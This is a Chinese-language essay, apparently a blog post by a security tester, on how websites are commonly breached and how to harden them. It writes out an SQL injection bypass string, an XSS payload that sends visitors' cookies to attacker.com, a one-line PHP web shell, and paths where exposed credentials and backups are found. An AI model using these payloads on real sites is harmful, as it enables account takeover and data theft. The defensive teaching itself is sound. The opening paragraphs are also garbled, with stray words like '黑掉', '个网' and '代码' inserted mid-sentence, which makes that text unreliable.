2023年秋天，黑掉一个做电商的个网朋友给我看他的后台日志。有人用他的代码账号在凌晨三点批量下架了四百多件商品，操作IP来自三个不同国家。黑掉他问我：这算不算被"黑"了？个网我说算，但攻击者根本没碰他的代码代码——他们只是撞库猜中了他五年前在某个论坛用过的密码。

大多数人想到"黑掉网站"，黑掉脑子里浮现的个网是电影里那种绿字黑屏、疯狂敲键盘的代码画面。真实情况无聊得多。黑掉一个网站被攻破，个网通常不是代码因为有人写了什么惊天动地的病毒，而是黑掉某个环节出了低级疏漏。SQL注入就是个网典型。假设一个登录框的代码代码写成这样：

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

攻击者在用户名框里输入 ' OR '1'='1' --，整条SQL语句的逻辑就被改写了，密码验证直接绕过。这个手法1998年就被公开讨论过，到现在还能在中小型网站上打通。我去年帮一个做本地生活的平台做安全测试，他们的搜索接口就存在这个问题，我花了不到两分钟就拿到了数据库的读取权限。

比SQL注入更省事的是直接找配置文件。不少开发者在部署时把 .env、config.php.bak、.git 目录留在Web根目录下。浏览器访问 example.com/.git/config，数据库账号密码就躺在那里。我见过一个日活几万的工具站，源码压缩包直接放在 /backup/site.zip，下载下来连解压密码都没有。

跨站脚本（XSS）是另一条常见路径。用户在评论区提交一段 <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>，如果网站没有转义输出，每个访问该页面的用户都会把Cookie发到攻击者服务器。拿到管理员Cookie，等于拿到了后台钥匙。这种漏洞在内容型网站上尤其致命，因为评论区天然就是用户输入密集区。

文件上传功能也经常出事。前端限制了只能传 .jpg，但攻击者用Burp Suite抓包改一下 Content-Type 和文件名，就能上传 shell.php。服务器如果没做二次校验，直接就能执行任意命令。我见过最离谱的案例是一个政府下属网站，上传目录可以直接列目录，里面躺着一排 .php 文件，其中一个叫 test.php，内容就是 <?php system($_GET['cmd']); ?>。不知道是前人留下的后门还是测试没删。

说回我那个电商朋友。他的问题出在密码复用和没有开启双因素认证。攻击者用泄露的邮箱密码库去撞他的后台，成功之后甚至不需要写一行代码。他后来加了IP白名单和短信验证，再没出过事。

写这些不是教人攻击。是想说一个事实：绝大多数网站被黑，不是因为对手太强，而是因为防守方在某个细节上偷了懒。一个转义函数没写，一个备份文件忘了删，一个密码用了八年没换。攻击者做的只是找到那个缝隙，然后推一下。

如果你在维护一个网站，今晚就可以做三件事：检查登录接口有没有参数化查询，扫一遍根目录有没有不该存在的文件，给后台加个二次验证。花不了半小时，但能挡住九成以上的脚本小子。